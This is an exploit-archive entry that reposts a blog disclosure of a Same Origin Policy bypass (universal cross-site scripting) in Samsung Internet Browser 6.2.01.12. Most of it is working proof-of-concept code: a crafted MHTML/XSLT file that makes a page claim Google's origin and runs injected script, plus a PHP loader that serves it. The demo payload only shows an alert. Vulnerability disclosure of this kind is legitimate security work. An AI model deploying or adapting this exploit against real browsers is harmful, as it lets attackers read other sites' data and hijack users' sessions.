Samsung Internet Browser 6.2.01.12 SOP Bypass / UXSS

Samsung Internet Browser version 6.2.01.12 allows remote attackers to bypass the Same Origin Policy and obtain sensitive information via crafted JavaScript code.


MD5 | b1ce454efa3a1fa02567e32b162d80b7

From: https://poctestblog.blogspot.co.uk/2017/12/samsung-internet-browser-sop-bypassuxss.html



Samsung Internet Browser SOP Bypass/UXSS

There is a Same Origin Policy bypass / Universal Cross Site Scripting issue in Samsung Internet Browser (tested on latest version - 6.2.01.12).

First of all, using the combination of MHTML and XSLT ends up resulting in a weird interaction. When you create an empty Iframe via MHTML and give a normal header and combine MHTML with XSLT, the browser renders them and confuse as its origin is from a pre-instantiated empty iframe. I hosted a quick Proof-Of-Concept page to test this vulnerability, please have a test on latest Samsung Internet browser (version - 6.2.01.12).

http://prooftestdomain.hol.es/test/test.php

I attached a POC image below to show that Samsung Internet Browser says its origin is https://google.com and document.domain returns https://google.com while in reality we are in my test host domain.

Following is Proof Of Concept code, you need to upload .mht and .php file. When you visit .php file the exploit runs successfully and bypasses Same Origin Policy to achieve UXSS.

test.mht file content:

MIME-Version: 1.0
Content-Type: multipart/related;
type="text/html";
boundary="----MultipartBoundary--"

------MultipartBoundary--
Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://google.com"></iframe></html>
</xsl:template>
</xsl:stylesheet>

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com

<script>alert('lol \n\n' + 'document.domain: \n' + document.domain)</script>
------MultipartBoundary----





test.php file content:

<?php
$filename=realpath("test.mht");
header( "Content-type: multipart/related");
readfile($filename);
?>

Related Posts